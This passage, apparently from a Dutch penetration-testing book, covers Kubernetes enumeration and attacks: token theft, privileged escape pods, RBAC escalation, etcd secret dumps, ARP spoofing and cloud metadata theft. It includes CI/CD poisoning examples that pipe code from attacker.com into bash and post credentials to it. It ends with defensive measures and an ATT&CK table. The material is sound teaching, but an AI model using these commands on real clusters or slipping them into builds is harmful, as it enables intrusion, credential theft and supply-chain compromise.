# Role: definieert permissies binnen een namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: production
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]

---
# ClusterRole: definieert cluster-brede permissies
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: secret-reader
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]

---
# RoleBinding: koppelt een Role aan een subject
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: read-pods
  namespace: production
subjects:
- kind: ServiceAccount
  name: my-app
  namespace: production
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

Service Accounts zijn identiteiten voor pods. Elke pod draait onder een service account, en dat account bepaalt welke API-calls de pod mag maken. Standaard wordt er in elke namespace een default service account aangemaakt, en standaard wordt het token van dat account automatisch gemount in elke pod. Dit is een van de meest misbruikte defaults in Kubernetes.

etcd is de gedistribueerde key-value store waarin de volledige staat van het cluster is opgeslagen. Alles. Secrets, configuraties, RBAC-regels, pod-definities – alles zit in etcd. Wie etcd kan lezen, heeft alles. Wie etcd kan schrijven, is het cluster.


6.7 Kubernetes Enumeration

Vanuit een pod

Je hebt een shell in een Kubernetes pod. Misschien via een kwetsbare webapplicatie, misschien via een container image met een backdoor, misschien via een gelekte kubeconfig. Het maakt niet uit hoe – je bent er. Tijd voor verkenning.

# Stap 1: Bevestig dat je in Kubernetes zit
# Service account token (automatisch gemount in de meeste pods)
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# ca.crt  namespace  token

# Kubernetes environment variables
env | grep KUBERNETES
# KUBERNETES_SERVICE_HOST=10.96.0.1
# KUBERNETES_SERVICE_PORT=443

# Stap 2: Stel kubectl in (als het beschikbaar is)
# Zo niet, gebruik curl met het service account token
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Stap 3: Test API-toegang
# Met kubectl:
kubectl auth can-i --list
# Toont ALLE permissies van het huidige service account

# Met curl:
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
    $APISERVER/api/v1/namespaces/$NAMESPACE/pods

# Stap 4: Enumerate de namespace
kubectl get pods -n $NAMESPACE
kubectl get services -n $NAMESPACE
kubectl get secrets -n $NAMESPACE
kubectl get configmaps -n $NAMESPACE
kubectl get serviceaccounts -n $NAMESPACE
kubectl get roles -n $NAMESPACE
kubectl get rolebindings -n $NAMESPACE

# Stap 5: Probeer cluster-breed te enumereren
kubectl get namespaces
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get clusterroles
kubectl get clusterrolebindings

IB Tip: kubectl auth can-i --list is je beste vriend in Kubernetes. Het vertelt je precies wat je huidige service account mag doen. Draai het als eerste commando na het betreden van een pod.

API Server discovery

Als je niet in een pod zit maar op het netwerk, moet je de API server vinden:

# Standaard poorten
nmap -p 6443,8443,8080,443,10250,10255,2379 -sV TARGET_RANGE

# 6443  - Kubernetes API server (standaard HTTPS)
# 8443  - Alternatieve API server poort
# 8080  - API server insecure port (als ingeschakeld -- jackpot)
# 10250 - Kubelet API (HTTPS)
# 10255 - Kubelet read-only (als ingeschakeld)
# 2379  - etcd client port
# 2380  - etcd peer port

# Test unauthenticated API access
curl -sk https://TARGET:6443/api
curl -sk https://TARGET:6443/api/v1
curl -sk https://TARGET:6443/api/v1/namespaces
curl -sk https://TARGET:6443/api/v1/pods
curl -sk https://TARGET:6443/version

# Insecure port (geen authenticatie!)
curl -s http://TARGET:8080/api/v1/pods

# Kubelet API
curl -sk https://TARGET:10250/pods
curl -sk https://TARGET:10250/runningpods

# Kubelet read-only
curl -s http://TARGET:10255/pods

De insecure port (8080) is standaard uitgeschakeld in moderne Kubernetes-versies, maar komt nog regelmatig voor in oudere installaties en development-omgevingen. Als die poort open staat, heb je volledige API-toegang zonder enige authenticatie. Het is het equivalent van een Domain Controller zonder wachtwoord.

Unauthenticated access patterns

# Anonymous auth check
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
    --header "Authorization: Bearer invalid"
# Als je een 403 krijgt in plaats van 401: anonymous auth is ingeschakeld

# system:anonymous permissions
kubectl auth can-i --list --as=system:anonymous
# Of via curl (geen auth header):
curl -sk https://TARGET:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
    -X POST -H "Content-Type: application/json" \
    -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"default","verb":"list","resource":"secrets"}}}'

Service account token theft

Service account tokens zijn JWT’s die je kunt decoderen en hergebruiken:

# Decode het token (het is een JWT)
cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
    cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Output toont:
# - "sub": het service account (system:serviceaccount:namespace:name)
# - "iss": de issuer (de API server)
# - "exp": expiration (als ingesteld)

# Gebruik het token vanuit een andere machine
kubectl --token="$TOKEN" --server="https://API_SERVER:6443" \
    --insecure-skip-tls-verify get pods

6.8 Kubernetes Aanvallen

RBAC Escalatie

RBAC in Kubernetes is krachtig, maar complexiteit is de vijand van beveiliging. Sommige permissie-combinaties zijn gevaarlijker dan ze lijken:

# GEVAARLIJK: create pods = code execution
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create"]
# Wie pods kan aanmaken, kan willekeurige code draaien in het cluster

# GEVAARLIJK: get secrets = credential theft
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]
# Alle secrets in de namespace, inclusief service account tokens

# GEVAARLIJK: create/patch rolebindings = privilege escalation
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["rolebindings", "clusterrolebindings"]
  verbs: ["create", "patch"]
# Kan zichzelf cluster-admin maken

# GEVAARLIJK: pods/exec = container shell
rules:
- apiGroups: [""]
  resources: ["pods/exec"]
  verbs: ["create"]
# Shell in elke pod in de namespace

Escalatie via pod creation

Als je pods kunt aanmaken, kun je een pod starten met willekeurige specificaties:

# Malicious pod die het host-filesysteem mount
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: default
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
    securityContext:
      privileged: true
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
  hostNetwork: true
  hostPID: true
  # Optioneel: draai op een specifiek node
  # nodeName: master-node
# Deploy de malicious pod
kubectl apply -f escape-pod.yaml

# Shell in de pod
kubectl exec -it escape-pod -- /bin/sh

# Chroot naar het host-filesysteem
chroot /host /bin/bash

# Je bent nu root op de Kubernetes node
whoami
# root
hostname
# k8s-worker-01

Escalatie via secrets

# Lees alle secrets in de namespace
kubectl get secrets -o yaml

# Secrets zijn base64-encoded (niet versleuteld!)
kubectl get secret my-app-secret -o jsonpath='{.data.password}' | base64 -d

# Lees alle secrets in alle namespaces (als je clusterrol hebt)
kubectl get secrets --all-namespaces -o yaml | grep -A2 "password\|token\|key\|secret"

# Service account tokens van andere service accounts
kubectl get secrets -n kube-system -o yaml | grep -A5 "token"

Escalatie via rolebinding manipulation

# Als je rolebindings kunt aanmaken of patchen:
kubectl create clusterrolebinding pwned-admin \
    --clusterrole=cluster-admin \
    --serviceaccount=default:default

# Nu heeft het default service account cluster-admin rechten
kubectl auth can-i --list
# Resources   Verbs
# *.*         [*]
# Alles. Je bent God.

Pod escape naar node

Naast de eerder besproken container escape-technieken zijn er Kubernetes-specifieke paden:

# hostPID: zie en interact met host processen
apiVersion: v1
kind: Pod
metadata:
  name: host-pid-pod
spec:
  hostPID: true
  containers:
  - name: nsenter
    image: alpine
    command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "--", "/bin/bash"]
    securityContext:
      privileged: true
# hostNetwork: gebruik het netwerk van de host
apiVersion: v1
kind: Pod
metadata:
  name: host-net-pod
spec:
  hostNetwork: true
  containers:
  - name: scanner
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]

Met hostNetwork: true heeft je pod hetzelfde netwerk als de host node. Je kunt interne services bereiken, andere nodes scannen, en verkeer sniffen dat normaal niet toegankelijk is vanuit het pod-netwerk.

etcd Access

etcd is de schatkamer van Kubernetes. Als je erbij kunt, heb je alles:

# Controleer of etcd bereikbaar is
curl -sk https://ETCD_IP:2379/version

# Als client certificates nodig zijn, zoek ze op de master node:
ls /etc/kubernetes/pki/etcd/
# ca.crt  healthcheck-client.crt  healthcheck-client.key
# peer.crt  peer.key  server.crt  server.key

# Lees alle secrets uit etcd
ETCDCTL_API=3 etcdctl \
    --endpoints=https://ETCD_IP:2379 \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
    --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
    get / --prefix --keys-only | grep secrets

# Dump een specifiek secret
ETCDCTL_API=3 etcdctl \
    --endpoints=https://ETCD_IP:2379 \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
    --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
    get /registry/secrets/default/my-secret

# Dump ALLES
ETCDCTL_API=3 etcdctl \
    --endpoints=https://ETCD_IP:2379 \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
    --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
    get / --prefix

Kubernetes secrets in etcd zijn standaard niet versleuteld – ze zijn base64-encoded. Dat is geen encryptie. Dat is een encoding die iedereen kan omdraaien. Het verschil tussen base64-encoding en encryptie is het verschil tussen de deur dichtdoen en de deur op slot doen. Encryption at rest moet expliciet worden geconfigureerd via een EncryptionConfiguration.


6.9 Container Network Attacks

Het platte netwerk probleem

Standaard kan in Kubernetes elke pod met elke andere pod communiceren, ongeacht namespace. Er zijn geen firewallregels, geen segmentatie, geen restricties. Het is de middeleeuwse stad zonder muren tussen de wijken, maar dan in containers.

# Vanuit een pod: scan het pod-netwerk
# Het pod CIDR is vaak 10.244.0.0/16 of 10.42.0.0/16
# Controleer via:
ip addr
# Of:
cat /etc/resolv.conf
# De nameserver IP geeft een indicatie van het cluster netwerk

# Scan het pod-netwerk
# (als nmap beschikbaar is of je het kunt uploaden)
nmap -sn 10.244.0.0/16
nmap -p 80,443,8080,3306,5432,6379,27017 10.244.0.0/16

# DNS-based service discovery
# Kubernetes DNS volgt het patroon:
# <service>.<namespace>.svc.cluster.local
nslookup kubernetes.default.svc.cluster.local
nslookup _http._tcp.default.svc.cluster.local SRV

# Enumerate services via DNS
for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do
    for svc in $(kubectl get services -n $ns -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do
        echo "$svc.$ns.svc.cluster.local"
    done
done

Service mesh bypass

Service meshes zoals Istio en Linkerd voegen een sidecar proxy toe aan elke pod die verkeer intercepteert en mTLS afdwingt. Maar:

# Bypass 1: Direct communiceren met de applicatie-poort
# De sidecar proxy luistert op 15001 (Istio envoy)
# De applicatie luistert op zijn eigen poort
# Als je IN de pod zit, kun je localhost:APP_PORT direct bereiken
curl http://localhost:8080/api/internal

# Bypass 2: Communiceer via het pod IP in plaats van de service
# mTLS wordt afgedwongen op service-niveau
# Pod-to-pod verkeer kan soms de mesh omzeilen
curl http://POD_IP:APP_PORT/api/internal

# Bypass 3: Init container race condition
# De Istio sidecar wordt gestart als init container
# Als je applicatie sneller start, is er een window zonder mTLS

DNS spoofing in het cluster

Kubernetes DNS (CoreDNS) is een kritiek component. Als je het kunt manipuleren, kun je verkeer redirecten:

# Controleer welke DNS-server wordt gebruikt
cat /etc/resolv.conf
# nameserver 10.96.0.10
# search default.svc.cluster.local svc.cluster.local cluster.local

# Als je toegang hebt tot CoreDNS configmap:
kubectl get configmap coredns -n kube-system -o yaml

# Modificeer het DNS om verkeer te redirecten
kubectl edit configmap coredns -n kube-system
# Voeg een custom record toe dat een interne service
# redirect naar je aanvaller-pod

Pod-to-pod aanvallen

# ARP spoofing binnen het pod-netwerk
# (CAP_NET_RAW is standaard beschikbaar!)
apt-get install -y dsniff  # of upload arpspoof
arpspoof -i eth0 -t TARGET_POD_IP GATEWAY_IP

# Traffic interception met tcpdump
tcpdump -i eth0 -w capture.pcap

# Metadata service access (cloud-specifiek)
# AWS
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Azure
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

De cloud metadata service is een bijzonder sappig doelwit vanuit een Kubernetes pod. De metadata service draait op 169.254.169.254 en is bereikbaar vanuit elke pod, tenzij een Network Policy dit expliciet blokkeert. Via de metadata service kun je tijdelijke cloud credentials verkrijgen die toegang geven tot de cloud-omgeving buiten het cluster.


6.10 CI/CD Container Attacks

Image registry poisoning

We hebben dit eerder aangestipt bij registry exploitation, maar in de context van CI/CD wordt het nog gevaarlijker:

# Scenario: je hebt schrijftoegang tot de interne registry

# Stap 1: Identificeer base images die door CI/CD worden gebruikt
# Kijk in Dockerfiles en CI configuraties
grep -r "FROM " /path/to/repos/ | sort -u
# FROM internal-registry.company.com/base/python:3.11
# FROM internal-registry.company.com/base/node:18

# Stap 2: Trojaniseer het base image
docker pull internal-registry.company.com/base/python:3.11

cat > Dockerfile.trojan << 'EOF'
FROM internal-registry.company.com/base/python:3.11
RUN curl -s https://attacker.com/implant.sh | bash
# Of subtieler: voeg een dependency toe die belt naar huis
RUN pip install legit-looking-package
EOF

docker build -f Dockerfile.trojan -t internal-registry.company.com/base/python:3.11 .
docker push internal-registry.company.com/base/python:3.11

# Stap 3: Wacht tot de volgende CI/CD build het gepoisonde image pullt
# Elke applicatie die dit base image gebruikt, is nu gecompromitteerd

Build pipeline compromise

# Voorbeeld: malicious Dockerfile stap in CI
# Een aanvaller die een Dockerfile kan wijzigen in een repo
# kan de build pipeline misbruiken om secrets te exfiltreren

FROM python:3.12-slim
WORKDIR /app
COPY . .
# De volgende regel exfiltreert build-time secrets
RUN --mount=type=secret,id=aws_creds,target=/tmp/creds \
    curl -X POST https://attacker.com/collect \
    -d @/tmp/creds
RUN pip install -r requirements.txt
CMD ["python", "app.py"]

Admission controller bypass

Kubernetes admission controllers (zoals OPA Gatekeeper of Kyverno) valideren pod-specificaties voordat ze worden toegelaten. Maar ze zijn te omzeilen:

# Bypass via ephemeral containers (vaak niet afgedekt door policies)
kubectl debug -it existing-pod --image=alpine --target=main-container

# Bypass via init containers (soms niet gevalideerd)
apiVersion: v1
kind: Pod
metadata:
  name: bypass-pod
spec:
  initContainers:
  - name: init-escape
    image: alpine
    command: ["/bin/sh", "-c", "cat /run/secrets/kubernetes.io/serviceaccount/token > /shared/token"]
    securityContext:
      privileged: true   # Init container policy niet afgedwongen?
    volumeMounts:
    - name: shared
      mountPath: /shared
  containers:
  - name: main
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: shared
      mountPath: /shared
  volumes:
  - name: shared
    emptyDir: {}

Verdedigingsmaatregelen

Het zou onverantwoord zijn om alleen aanvalstechnieken te beschrijven zonder de verdediging te behandelen. Hier is wat daadwerkelijk werkt – en wat niet meer is dan security theater.

Pod Security Standards

Kubernetes Pod Security Standards (PSS) vervangen de oudere PodSecurityPolicies en definiëren drie niveaus:

Niveau Beschrijving Wat het blokkeert
Privileged Geen restricties Niets – alles is toegestaan
Baseline Minimale restricties Privileged containers, hostNetwork, hostPID, hostIPC
Restricted Maximale restricties Root user, alle host namespaces, privilege escalation, capabilities
# Enforcement via namespace labels
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

Network Policies

# Default deny all ingress en egress
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

---
# Sta alleen specifiek verkeer toe
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-webapp-to-db
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: database
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: webapp
    ports:
    - protocol: TCP
      port: 5432

---
# Blokkeer metadata service (cruciaal in cloud!)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32

IB Tip: Network Policies werken alleen als de CNI-plugin ze ondersteunt. Calico, Cilium en WeaveNet ondersteunen ze. Flannel doet dat standaard niet. Controleer altijd welke CNI-plugin actief is voordat je aanneemt dat Network Policies worden afgedwongen.

Runtime security: Falco

Falco is een runtime security-tool die syscalls monitort en alerts genereert bij verdacht gedrag:

# Falco regel: detecteer container escape pogingen
- rule: Container Escape via Mount
  desc: Detecteer het mounten van het host-filesysteem vanuit een container
  condition: >
    evt.type = mount and container and
    evt.arg.source startswith "/dev/sd"
  output: >
    Container escape poging gedetecteerd
    (user=%user.name container=%container.name
     image=%container.image.repository
     source=%evt.arg.source)
  priority: CRITICAL

- rule: Docker Socket Accessed in Container
  desc: Detecteer toegang tot de Docker socket vanuit een container
  condition: >
    evt.type in (open, openat) and
    container and fd.name = /var/run/docker.sock
  output: >
    Docker socket benaderd vanuit container
    (user=%user.name container=%container.name
     image=%container.image.repository)
  priority: WARNING

Image scanning

# Trivy - vulnerability scanner
trivy image TARGET_IMAGE
trivy image --severity CRITICAL,HIGH TARGET_IMAGE

# Grype
grype TARGET_IMAGE

# Snyk
snyk container test TARGET_IMAGE

# In CI/CD pipeline:
# Blokkeer images met CRITICAL vulnerabilities
trivy image --exit-code 1 --severity CRITICAL TARGET_IMAGE

Referentietabel

Techniek Categorie MITRE ATT&CK Complexiteit
Docker socket escape Container Escape T1611 - Escape to Host Laag
Privileged container escape Container Escape T1611 Laag
Cgroup release_agent Container Escape T1611 Middel
nsenter host escape Container Escape T1611 Laag
Kernel exploit (container) Container Escape T1068 - Exploitation for Privilege Escalation Hoog
runc overwrite (CVE-2019-5736) Container Escape T1611 Middel
Image layer secret extraction Credential Access T1552.001 - Credentials In Files Laag
Registry enumeration Discovery T1613 - Container and Resource Discovery Laag
Registry image poisoning Persistence T1525 - Implant Internal Image Middel
K8s API unauthenticated access Initial Access T1190 - Exploit Public-Facing Application Laag
K8s secret theft Credential Access T1552.007 - Container API Laag
K8s RBAC escalation Privilege Escalation T1078.001 - Default Accounts Middel
K8s pod creation escape Privilege Escalation T1610 - Deploy Container Middel
etcd credential dump Credential Access T1552.007 Middel
Metadata service abuse Credential Access T1552.005 - Cloud Instance Metadata API Laag
DNS spoofing in cluster Collection T1557 - Adversary-in-the-Middle Middel
Service mesh bypass Defense Evasion T1562.001 - Disable or Modify Tools Middel
Admission controller bypass Defense Evasion T1562.001 Hoog
CI/CD base image poisoning Supply Chain T1195.002 - Compromise Software Supply Chain Middel
Build pipeline compromise Execution T1204.003 - Malicious Image Middel

In het volgende hoofdstuk verlaten we de container en kijken we naar het systeem dat die containers bouwt, test en deployt: de CI/CD pipeline. Als containers de cellen zijn in onze digitale gevangenis, dan is de CI/CD pipeline de fabriek die de cellen bouwt. En die fabriek, zo blijkt, heeft zijn eigen deuren en ramen die niet op slot zitten.